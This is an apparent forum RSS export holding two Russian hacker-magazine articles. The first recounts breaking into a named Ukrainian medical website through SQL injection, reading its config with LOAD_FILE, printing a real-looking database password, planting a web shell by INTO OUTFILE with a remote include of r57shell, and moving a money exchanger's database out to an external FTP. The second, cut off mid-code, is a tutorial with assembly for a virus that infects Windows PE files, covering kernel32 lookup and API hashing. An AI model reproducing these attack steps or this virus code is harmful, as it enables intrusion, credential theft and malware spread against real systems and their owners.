						&lt;p&gt;Ценная инфа, выводимая Apache&lt;/p&gt;
						&lt;p&gt;Я собрал список сайтов и принялся их изучать. К слову сказать, их оказалось всего 5-6. Но и тут было где разгуляться. Для тех, кто в танке, поясню, чему я так радуюсь: я ищу на одном из этих двух сайтов баг и получаю шелл на сервере обменника. Далее, если администратор сервера - идиот и неправильно выставил chmod&#039;ы, то я постараюсь забраться на обменник, в ином случае - просто подниму свои привилегии локально :). &lt;/p&gt;
						&lt;p&gt;Итак, я выбрал сайт medicalc.ua. Почему? Да потому что мне сразу понравилось, что этот сайт оказался в Error_Log&#039;e моего обменника с ошибками PHP-скрипта: &lt;/p&gt;
						&lt;p&gt;[09-Jan-2006 17:42:28] PHP Warning: mysql_connect(): Can&#039;t connect to local MySQL server through socket &#039;/var/tmp/mysql.sock&#039; (2) in /home/medicalc/public_html/money/index.php on line 5&lt;/p&gt;
						&lt;p&gt;Это можно увидеть из директории, в которой находится сайт. Согласись, логично подумать, что этот сайт и мой обменник очень тесно связаны друг с другом, ведь не просто так в логах хранятся его ошибки. Да, кстати, то же самое (я о том, как узнать, какие сайты хостятся на сервере) тебе может предложить и метод Reverse IP LookUp, о котором NSD писал в мартовском номере за 2005 год в статье «Удар по WEB’у». Но, к сожалению, сервис domainsdb.org накрылся, поэтому я предлагаю тебе альтернативный сервис wwwdomaintools.com.&lt;/p&gt;
						&lt;p&gt;Итак, перейдя на интересующий меня ресурс medicalc.ua, я обнаружил сайт, посвященный медицине. Особо ей не интересуясь и потому не отвлекаясь, я начал осматривать скрипты. Сначала я заглянул во что-то вроде гостевой книги /guestbook, но, несмотря на все свои усилия, ничего найти так и не смог, хотя был уверен, что активная XSS тут будет точно :). Но затем удача повернулась ко мне лицом, и уже через пару минут я нашел линк вида «index.php?id=37». По привычке я поставил в переменную id свою элитную кавычку и увидел очень интересную ошибку: &lt;/p&gt;
						&lt;p&gt;PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/medicalc/public_html/medical/index.php on line 416&lt;/p&gt;
						&lt;p&gt;Отлично! SQL-инъекция во всей ее красе!&lt;br /&gt;Штурмуем инъекцию!&lt;/p&gt;
						&lt;p&gt;К сожалению, разработчики MySQL не предусмотрели в ней функций вроде UNION SELECT ALL_DATABASE_DUMP или UNION SELECT OTDAY_MNE_VSE_PAROLI :), поэтом оставалось только подобрать количество столбцов и узнать имена таблиц, что я принялся и делать. Как выяснилось, столбцов было всего 6 и запрос, который бы выполнялся без ошибок, выглядел так:&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://medicalc.ua/index.php?id=1+UNION+select+1,2,3,4,5,6/*&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/index.php?id=1+UNION &amp;#8230; ,3,4,5,6/*&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Сначала я собрал информацию о версии MySQL-базы и о том, с чем я вообще имею дело: &lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://medicalc.ua/index.php?id=1+UNION+select+1,2,3,4,5,6,user&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/index.php?id=1+UNION &amp;#8230; 4,5,6,user&lt;/a&gt;()/*&lt;br /&gt;&lt;a href=&quot;http://medicalc.ua/index.php?id=1+UNION+select+1,2,3,4,5,6,database&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/index.php?id=1+UNION &amp;#8230; 6,database&lt;/a&gt;()/*&lt;br /&gt;&lt;a href=&quot;http://medicalc.ua/index.php?id=1+UNION+select+1,2,3,4,5,6,version&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/index.php?id=1+UNION &amp;#8230; ,6,version&lt;/a&gt;()/*&lt;/p&gt;
						&lt;p&gt;Чтобы не быть голословным, поясню: с помощью первого запроса я узнал имя пользователя БД, которая могла быть доступна только с localhost; с помощью второй - имя базы medicalc, а посредством третьей - версию MySQL (так, на всякий случай). &lt;/p&gt;
						&lt;p&gt;Со столбцами дело не шло - названия угадать не удавалось никаким образом. И тут я подумал: а вдруг получится прочитать конфигурационный файл через MySQL-функцию LOADFILE()? Привилегий может и не хватить, но попытка - не пытка :). Кроме того, абсолютный путь до сайта у меня есть. Скрестив пальцы, я выполнил следующий запрос:&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://medicalc.ua/index.php?id=1+UNION+select+1,2,3,4,5,6,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/index.php?id=1+UNION &amp;#8230; 2,3,4,5,6,&lt;/a&gt; LOADFILE(&#039;/home/medicalc/public_html/medical/index.php&#039;)/*&lt;/p&gt;
						&lt;p&gt;Я подпрыгнул от радости - на экране замелькали строчки кода из самого index.php! Отлично! Я быстро нашел в коде строку «include(&amp;quot;dbconfig.php&amp;quot;)» и интуитивно понял, что там хранятся логин и пароль к базе данных:&lt;/p&gt;
						&lt;p&gt;&amp;lt;?php&lt;br /&gt;$CONFIG[&#039;database&#039;] = &#039;medicalc&#039;;&lt;br /&gt;$CONFIG[&#039;user&#039;] = &#039;medicalc&#039;;&lt;br /&gt;$CONFIG[&#039;passwd&#039;] = &#039;AfLkYjii&#039;;&lt;br /&gt;$CONFIG[&#039;host&#039;] = &#039;localhost&#039;;&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Далее я, естественно, решил залогиниться в phpMyAdmin со связкой паролей: «medicalc:AfLkYjii». Стоит ли говорить, что пароли подошли и я уже вовсю пользовался прелестями phpMyAdmin. В базе данных ничего полезного я не нашел, спам-базы даже на $1 бы не хватило. И тут я задался вопросом: ну попал в я phpMyAdmin, что дальше? (ну пробил ты стенку головой, и что ты будешь делать в соседней камере? Примечание Forb’а). Пробую залогиниться на FTP – «login incorrect». &lt;/p&gt;
						&lt;p&gt;Есть еще один способ выхода из этой ситуации - получение шелла через SQL-запросы типа «INTO OUTFILE». Идея такова: сначала мы пишем в какую-нибудь колонку таблицы нечто вроде «&amp;lt;? system($_GET[&#039;cmd&#039;]); ?&amp;gt;» или что-то подобное. Например, «&amp;lt;? include(&amp;quot;http://M3lc1y.narod.ru/r57shell.txt&amp;quot;); ?&amp;gt;». Единственный минус этого инклуда - невозможность работы с GET-запросами. Ну и ладно! Такие шеллы, как r57shell от небезызвестной rst.void.ru, работают исключительно с POST-запросами, кроме того, известно, что POST сорит в логах веб-сервера намного меньше, чем GET, что является его неоспоримым преимуществом для хакеров.&lt;/p&gt;
						&lt;p&gt;Что-то мы отвлеклись :). Итак, записываем наш PHP-код, например, в таблицу med_users, в колонку password с id, равным 20. В итоге при запросе типа «SELECT password FROM med_users WHERE id=20» на экране должен появиться тот самый PHP-код, который мы и вбивали в БД. В MySQL есть флаг запроса «INTO OUTFILE», который позволяет вывести его результат в текстовый файл. Я клоню к тому, что если выводить ответ от SQL так: «SELECT password FROM med_users WHERE id=20 INTO OUTFILE &#039;/home/medicalc/public_html/medical/temp.php&#039;», то можно без проблем залить полноценный веб-шелл. Но и тут есть свои подводные камни. Во-первых, хватает ли у тебя привилегий SQL-юзера, чтобы работать с INTO? И, во-вторых, не забывай про права на запись в файлах и папках. Но и тут мне повезло :). Правда, не с первого раза. В корневую веб-директорию залить ничего не получилось. Но я не сдался и начал подбирать другие папки, возможно, доступные для записи. Такой папкой была /home/medicalc/public_html/medical/guestbook.&lt;/p&gt;
						&lt;p&gt;Я выполнил запрос уже так:&lt;/p&gt;
						&lt;p&gt;SELECT password FROM med_users WHERE id=20 INTO OUTFILE &#039;/home/medicalc/public_html/medical/guestbook/temp.php&#039;&lt;/p&gt;
						&lt;p&gt;Перешел по адресу &lt;a href=&quot;http://medicalc.ua/guestbook/temp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://medicalc.ua/guestbook/temp.php&lt;/a&gt; и увидел веб-шелл! Моей радости снова не было предела! Что касается операционки, то это была FreeBSD 6.0. Поднимать привилегии не имело смысла - как я и предполагал, прав на чтение директории самого обменника вполне хватало!&lt;/p&gt;
						&lt;p&gt;Я поспешил сделать дамп БД обменника и всех скриптов этого сайта, но тут был облом :). Поскольку на сервере стоял Safe Mode, упаковать файлы в tar-архив не получалось, так как было невозможно выполнять команды (на то это и Safe Mode). Копипастить архивы было занятием для мазохистов, кроме того, я боялся, что в папке guestbook перезапишу старые скрипты.&lt;/p&gt;
						&lt;p&gt;Тут на помощь пришел один из сценариев DxGotoFTP, который ты можешь найти на нашем сайте. Он занимается тем, что заливает любые файлы из заданной директории на удаленный FTP-сервер, тоже в нужную тебе папку. Скрипт удачно выполнил свою работу, несмотря на ограничения подлого PHP. Кстати говоря, сначала я хотел залить perl&#039;овый веб-шелл в папку /cgi-bin, но, к сожалению, мои привилегии были минимальны (nobody). Зайдя на свой FTP, я сжал все скрипты в один архив и слил себе на комп, нашел в сценариях конфиг базы данных и быстренько сотворил дамп MySQL-обменника.&lt;/p&gt;
						&lt;p&gt;К слову сказать, система работала практически на одних скриптах от WebMoney. Почитать об этом можно в сентябрьском «Хакере» за 2005 год в статье nikitozz&#039;a «Механика WM-процессинга», а мы сейчас опустим этот момент.&lt;br /&gt;Люди в сером&lt;/p&gt;
						&lt;p&gt;Короче, после того как я достал все, что мне было нужно, я задумался над тем, а стоило ли это делать. Ведь из-за каких-то жалких 500 WMZ (ну или больше, рисковать - лезть в чужой кошелек - я не стал) можно сесть за решетку, так как это уже далеко не дефейс, а чистой воды криминал. Я связался с администратором и вместе с килограммами мата в мою аську получил презент - n&#039;ую сумму денег в качестве благодарности. Я с недоверием принял подарок и до сих пор жду стука в дверь добродушных ребят в сером. Смастерил убийцу жестких дисков по инструкциям летнего номера «X» и теперь, как говорится, всегда готов :).&lt;/p&gt;
						&lt;p&gt;Эту статью стоит рассматривать исключительно как материал для ознакомления. Ни автор, ни редакция не несут ответственности за применение ее в противозаконных целях. Следует помнить, что если ты вдруг, начитавшись, взломаешь что-нибудь чужое, то отвечать за все будешь только ты один. Мы тебя ни к чему такому криминальному не призываем, наоборот, всячески уговариваем не нарушать законов.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:34:21 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=14#p14</guid>
		</item>
		<item>
			<title>Создаем PE-вирус №1</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=13#p13</link>
			<description>&lt;p&gt;Введение&lt;/p&gt;
						&lt;p&gt;Вирусы стали неотъемлемой частью нашей компьютерной (и не только) жизни. На написание данной статьи меня подтолкнуло то, что, на мой взгляд, в Сети маловато информации, наиболее полно раскрывающей весь процесс написания вируса. Совсем недавно мне необходимо было написать простую самораспространяющуюсю программу, которая не производила бы каких-либо вредных для системы действий, но в то же время использовала бы вирусные механизмы распространения. Скажу, что все-таки в Интернете есть информация на эту тему. И даже встречаются исходники подобных программ. Но во всем приходится долго и упорно разбираться, если хочешь сделать что-то сам. Итак, в чем-то более-менее разобравшись, я хочу поделиться с вами - читателями - информацией.&lt;/p&gt;
						&lt;p&gt;В данной статье будет рассмотрен процесс написания простого вируса, заражающего исполняемые файлы формата PE (Portable Executable) EXE. Также напишем программу-доктора, которая ищет в указанной директории и во всех поддиректориях файлы, зараженные нашим вирусом.&lt;/p&gt;
						&lt;p&gt;Данная самораспространяющаяся программа не содержит в себе никакого вредоносного кода, но ее с легкостью можно дописать до вполне боевого вируса. Поэтому хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. &lt;/p&gt;
						&lt;p&gt;Если вы с этим не согласны, то, пожалуйста, прекратите чтение этой статьи и удалите ее со всех имеющихся у вас носителей информации.&lt;br /&gt;Кратко о формате PE&lt;/p&gt;
						&lt;p&gt;Поскольку наш вирус будет заражать именно PE-файлы, мы, естественно, должны иметь представление об этом формате. Это формат исполняемых в операционной системе Windows файлов. Кстати, раз уж мы заговорили об ОС, то заметим, что наш вирус должен нормально исполняться на как можно большем числе ОС данного семейства. Программа тестировалась на работоспособность в Win 9x\Me\NT\2000\XP\2K3.&lt;/p&gt;
						&lt;p&gt;Итак, если заглянуть внутрь типичного исполняемого файла, мы увидим следующую структуру в упрощенном виде:&lt;br /&gt;PE-файл в самом своем начале (MZ-заголовок) содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2, она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS (PE-заголовок). Эта структура описывается следующим образом:&lt;br /&gt;typedef struct _IMAGE_NT_HEADERS {&lt;br /&gt;&amp;#160; &amp;#160; DWORD Signature;&lt;br /&gt;&amp;#160; &amp;#160; IMAGE_FILE_HEADER FileHeader;&lt;br /&gt;&amp;#160; &amp;#160; IMAGE_OPTIONAL_HEADER32 OptionalHeader;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение &amp;quot;PE\0\0&amp;quot;. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. После опционального заголовка начинается таблица секций (Object Table). В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не изменится (если там не присутствует проверка контрольной суммы или что-то подобное). &lt;br /&gt;Способы заражения PE&lt;/p&gt;
						&lt;p&gt;До сих пор мы ничего не сказали о том, каким способом будем заражать файл, ведь их несколько: &lt;br /&gt;Внедрение в PE-заголовок&lt;br /&gt;Расширение последней секции&lt;br /&gt;Добавление новой секции&lt;/p&gt;
						&lt;p&gt;Для нашего учебного вируса подойдет наиболее простой метод расширения последней секции. Сразу скажу, что большими недостатками последних двух методов является то, что размер файла-жертвы заметно увеличивается при заражении, т.к. мы дописываем код вируса в конец файла. Хотя оговорюсь, что при втором методе возможно извратиться так, чтобы можно было записываться в пустой оверлей в конце последней секции, поэтому размер файла может измениться незначительно, либо не измениться вообще. При первом же методе размер файла не изменяется, но недостаток такого метода - не всегда можно найти такой EXE, чтобы в его заголовке хватило места для кода нашего вируса. Приходится либо заражать очень малое количество программ, либо сильно ограничивать возможности нашего вируса, т.к. это уменьшает размер его кода. Метод добавления новой секции немного сложнее, поэтому его рассматривать не будем. Скажу только, что файл с какой-нибудь новой секцией будет выглядеть более подозрительно. &lt;/p&gt;
						&lt;p&gt;Нам для написания нашего вируса достаточно знать, что при заражении файла мы должны изменить некоторые значения (какие - прочитаем ниже) в PE-заголовке, изменить дескриптор последней секции, добавить код нашего вируса в конец последней секции, а также изменить точку входа программы так, чтобы управление при ее запуске передавалось сначала нашему вирусу, а уж затем - самой программе. На следующем рисунке красным цветом отмечены те части файла, которые будут изменены при заражении:&lt;br /&gt;Вычисляем дельта-смещение&lt;/p&gt;
						&lt;p&gt;Итак, мы приняли решение дописываться в конец исполняемого файла. Прежде, чем приводить код, отмечу, что для начала нам нужно найти адреса необходимых API-функций. Разберемся сейчас с наиболее важными понятиями: Virtual Address (VA) и Relative Virtual Address (RVA). &lt;/p&gt;
						&lt;p&gt;VA - это адрес чего-нибудь в оперативной памяти. RVA - это смещение на что-то относительно того места, куда проецирован файл. А если просто сказать, то VA = RVA + база. &lt;/p&gt;
						&lt;p&gt;Чтобы наш вирус работал, он должен быть написан в базонезависимом коде. В связи с этим появляется еще одно понятие - дельта-смещение. &lt;/p&gt;
						&lt;p&gt;Что это такое? Все очень просто. Когда вирус находится в чистом виде (так называемое первое поколение), т.е. не записан еще ни в какой файл, когда он работает, он обращается к переменным как есть относительно прописанного в его заголовке адреса, куда файл проецирован системой. Теперь представим, что наш вирус заразил программу. И там начинает работать. Но теперь он работает не там, куда его загрузил загрузчик, а из того места, где находится загруженная зараженная программа. Получается, что переменные теперь указывают на абсолютно другое место. Поэтому обратившись к своим данным по заданным адресам, вирус прочитает совсем не те данные, которые ему необходимы. Для того, чтобы решить эту проблему, вычисляется дельта-смещение. Это смещение относительно начала вируса, а не той программы, которая была им заражена. &lt;br /&gt;&amp;#160; &amp;#160; сall&amp;#160; VirDelta&lt;br /&gt;VirDelta:&lt;br /&gt;&amp;#160; &amp;#160; sub&amp;#160; &amp;#160;dword ptr [esp], OFFSET VirDelta&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке&lt;/p&gt;
						&lt;p&gt;Как видим, при входе в вирусный код мы вызываем call. Но call после вызова помещает в стек адрес возврата. Вычитаем из него адрес метки VirDelta и получаем нужное нам смещение относительно начала файла. Далее сохраняем дельта-смещение для дальнейшего использования (прибавляя его к адресам переменных, последние принимают корректные значения). &lt;br /&gt;Ищем адреса API-функций&lt;/p&gt;
						&lt;p&gt;Следующая проблема состоит в поиске этих самых адресов. Но для начала нужно найти адрес библиотеки kernel32.dll в памяти, т.к. самые необходимые функции находятся именно в ней. Если нам потребуется использовать функции из других библиотек, мы просто используем LoadLibrary и GetProcAddress, которые находятся в kernel32.dll. &lt;/p&gt;
						&lt;p&gt;Существует множество методов поиска базы kernel32, один из которых - использование механизма структурной обработки исключений SEH (Structured Exception Handling). &lt;/p&gt;
						&lt;p&gt;SEH представляет собой цепочку обработчиков - ячейки памяти, в которых содержатся адреса на процедуры обработки исключений. Эта цепочка начинается с fs:0000 и заканчивается последним обработчиком, который содержит значение 0FFFFFFFFh. Ну и что это нам дает? А то, что адрес последнего обработчика - это и есть адрес kernel32.dll в памяти. &lt;/p&gt;
						&lt;p&gt;Итак, дельта-смещение мы определили. Приведем теперь код поиска базы kernel32: &lt;br /&gt;; Читаем SEH&lt;br /&gt;ReadSEH:&lt;br /&gt;&amp;#160; &amp;#160; xor&amp;#160; &amp;#160; edx, edx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; edx = 0&lt;br /&gt;&amp;#160; &amp;#160; assume fs:flat&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160; eax, fs:[edx]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; читаем элемент SEH&lt;br /&gt;&amp;#160; &amp;#160; dec&amp;#160; &amp;#160; edx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; edx = 0FFFFFFFFh&lt;/p&gt;
						&lt;p&gt;; Ищем элемент со значением 0FFFFFFFFh&lt;br /&gt;SearchKernel32:&lt;br /&gt;&amp;#160; &amp;#160; cmp&amp;#160; &amp;#160; [eax], edx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; сравниваем очередной с 0FFFFFFFFh&lt;br /&gt;&amp;#160; &amp;#160; je&amp;#160; &amp;#160; &amp;#160;CheckKernel32&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; прыгаем, если нашли&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160; eax, [eax]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; получаем следующее значение&lt;br /&gt;&amp;#160; &amp;#160; jmp&amp;#160; &amp;#160; SearchKernel32&amp;#160; &amp;#160; &amp;#160; &amp;#160; ; если не нашли - ищем дальше&lt;/p&gt;
						&lt;p&gt;; Определяем адрес Kernel32&lt;br /&gt;CheckKernel32:&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160; eax, [eax + 4]&amp;#160; &amp;#160; &amp;#160; &amp;#160; ; получаем адрес ГДЕ-ТО в &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; kernel32.dll&lt;br /&gt;&amp;#160; &amp;#160; xor&amp;#160; &amp;#160; ax, ax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; выравниваем полученный адрес&lt;/p&gt;
						&lt;p&gt;; Ищем сигнатуру MZ&lt;br /&gt;SearchKernelMZ:&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; cmp word ptr [eax], 5A4Dh&amp;#160; &amp;#160; ; сверяем сигнатуру MZ&lt;br /&gt;&amp;#160; &amp;#160; je&amp;#160; CheckKernelMZ&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; сигнатура верна, переходим на &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; проверку сигнатуры PE&lt;br /&gt;&amp;#160; &amp;#160; sub eax, 10000h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; если не равна MZ, то ищем дальше&lt;br /&gt;&amp;#160; &amp;#160; jmp SearchKernelMZ&lt;/p&gt;
						&lt;p&gt;; Проверяем сигнатуру PE&lt;br /&gt;CheckKernelMZ:	&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; edx, [eax + 3Ch]&amp;#160; &amp;#160; &amp;#160; &amp;#160; ; переходим на PE-заголовок&lt;br /&gt;&amp;#160; &amp;#160; cmp&amp;#160; word ptr [eax + edx], 4550h ; сверяем сигнатуру&lt;br /&gt;&amp;#160; &amp;#160; jne&amp;#160; _Exit&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; неверная сигнатура, поэтому &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; выходим&lt;/p&gt;
						&lt;p&gt;Здесь мы сканируем память (с того адреса, который мы только что получили) на наличие сигнатуры MZ (4D5Ah). Если она присутствует, значит, все сделано верно. Далее по смещению 3Ch находится смещение начала PE-заголовка. Сравниваем значение 2х байтов по этому смещению на сигнатуру PE (5045h) (на случай, если мы чисто случайно попали на ту область памяти, где нам встретились символы MZ). Если значение этих байт равно PE, то kernel32.dll несомненно найдена. &lt;/p&gt;
						&lt;p&gt;Теперь рассмотрим некоторые поля PE-заголовка, необходимые нам: &lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Чтобы найти адрес необходимой нам API-функции в kernel32, нам нужно добраться до секции экспорта этой библиотеки. По смещению 78h от начала PE-заголовка находится RVA адрес этой секции. Но не забудем, что нам нужен не RVA, а VA. Для этого нужно сложить этот RVA со значением Image Base (адрес в области памяти, куда файл проецирован системой). Тогда мы получим реальный адрес секции экспорта. &lt;/p&gt;
						&lt;p&gt;Наверняка при просмотре таблицы может возникнуть вопрос: а что это за поле Win32VersionValue? Это поле загрузчиком не используется вообще, поэтому мы можем считать его резервным и записывать какую-то информацию. В дальнейшем будем использовать данное резервное поле для записи сигнатуры нашего вируса, чтобы не заражать уже зараженные нашим вирусом программы. &lt;/p&gt;
						&lt;p&gt;Теперь нам нужно получить адрес таблицы экспорта из секции экспорта. Рассмотрим некоторые интересные нам поля секции экспорта: &lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Первое поле содержит базу ординалов функций. Второе поле содержит число указателей на имена. Третье поле содержит RVA таблицы экспорта. Эта таблица содержит адреса экспортируемых функций (их точки входа) или данных в формате DWORD RVA (по 4 байта на элемент). Четвертое поле - RVA таблицы указателей на имена. Последнее поле - RVA на таблицу ординалов. Для доступа к данным используется ординал функции с коррекцией на базу ординалов (Ordinal Base). &lt;/p&gt;
						&lt;p&gt;Итак, теперь мы знаем адрес таблицы имен и адрес таблицы адресов всех функций библиотеки kernel32.dll. Чтобы найти адрес конкретной функции, мы должны сравнить ее имя с каждым именем в таблице имен экспортируемых функций, и если очередное сравниваемое имя совпало с искомым, мы смотрим в таблицу ординалов по соответствующему индексу и извлекаем таким образом адрес функции. Далее нам этот адрес остается где-то сохранить (в нашем случае – в стеке) для дальнейшего использования и перейти к поиску адреса другой нужной нам функции и так далее. &lt;/p&gt;
						&lt;p&gt;Чтобы не хранить в коде вируса имена функций (ведь они бывают иногда длинные), нам достаточно хранить 4-байтовые хеш-значения имен. Заодно и при просмотре тела вируса в HEX-редакторе не бросаются в глаза имена функций, содержащиеся в коде вируса: &lt;br /&gt;; Таблица хешей&lt;br /&gt;HashTable:&lt;br /&gt;dd 0F867A91Eh ; CloseHandle&lt;br /&gt;dd 03165E506h ; FindFirstFileA&lt;br /&gt;dd 0CA920AD8h ; FindNextFileA&lt;br /&gt;dd 0860B38BCh ; CreateFileA&lt;br /&gt;dd 029C4EF46h ; ReadFile&lt;br /&gt;dd 0CC17506Ch ; GlobalAlloc&lt;br /&gt;dd 0AAC2523Eh ; GetFileSize&lt;br /&gt;dd 07F3545C6h ; SetFilePointer&lt;br /&gt;dd 0F67B91BAh ; WriteFile&lt;br /&gt;dd 03FE8FED4h ; GlobalFree&lt;br /&gt;dd 015F8EF80h ; VirtualProtect&lt;br /&gt;dd 0D66358ECh ; ExitProcess&lt;br /&gt;dd 05D7574B6h ; GetProcAddress&lt;br /&gt;dd 071E40722h ; LoadLibraryA&lt;br /&gt;dd 0E65B28ACh ; FindClose&lt;br /&gt;dd 059B44650h ; GetModuleFileNameA&lt;br /&gt;dd 00709DC94h ; SetCurrentDirectoryA&lt;br /&gt;dd 0D64B001Eh ; FreeLibrary&lt;br /&gt;dw 0FFFFh&amp;#160; &amp;#160; &amp;#160;; Признак конца таблицы&lt;/p&gt;
						&lt;p&gt;А при поиске нужной нам функции мы будем сравнивать не имена, а хеш-значения имен (подсчитав предварительно это значение для каждой нужной нам функции). Т.е., допустим, что мы нашли какое-то имя в таблице имен kernel32. Вычисляем хеш-значение этого имени и сравниваем это значение с искомым из нашей таблицы хешей HashTable. Если совпадают – значит, нашли. Если нет – ищем дальше: &lt;br /&gt;_SearchAPI:&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160;esi, [eax + edx + 78h]&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; &amp;#160;esi, eax&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; &amp;#160;esi, 18h&lt;br /&gt;&amp;#160; &amp;#160; xchg&amp;#160; eax, ebx&lt;br /&gt;&amp;#160; &amp;#160; lodsd&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; получаем число указателей на имена&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; eax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; [ebp+4*4]&lt;br /&gt;&amp;#160; &amp;#160; lodsd&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; получаем RVA таблицы экспорта&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; eax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; [ebp+4*3]&lt;br /&gt;&amp;#160; &amp;#160; lodsd&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; получаем RVA таблицы указателей на &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; имена&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; eax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; [ebp+4*2]&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; &amp;#160;eax, ebx&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; eax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Указатель на таблицу имен &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; [ebp+4*1]&lt;br 